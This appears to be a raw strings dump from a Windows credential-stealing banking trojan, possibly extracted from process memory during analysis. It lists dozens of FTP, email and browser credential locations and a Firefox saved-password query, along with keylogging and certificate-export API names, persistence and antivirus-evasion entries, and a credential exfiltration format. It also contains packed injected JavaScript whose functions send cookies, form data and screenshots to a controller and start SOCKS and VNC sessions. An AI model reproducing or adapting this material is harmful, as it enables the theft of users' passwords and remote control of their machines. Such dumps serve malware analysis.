GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

<!</<7<><[<

8 9(91999\9

.pdata

@.reloc

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

Explorer.EXE_1852_rwx_01F10000_0007B000:

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

<!</<7<><[<

8 9(91999\9

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

%WinDir%\Explorer.EXE

mscorsvw.exe_1924_rwx_00CF0000_00053000:

%Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k 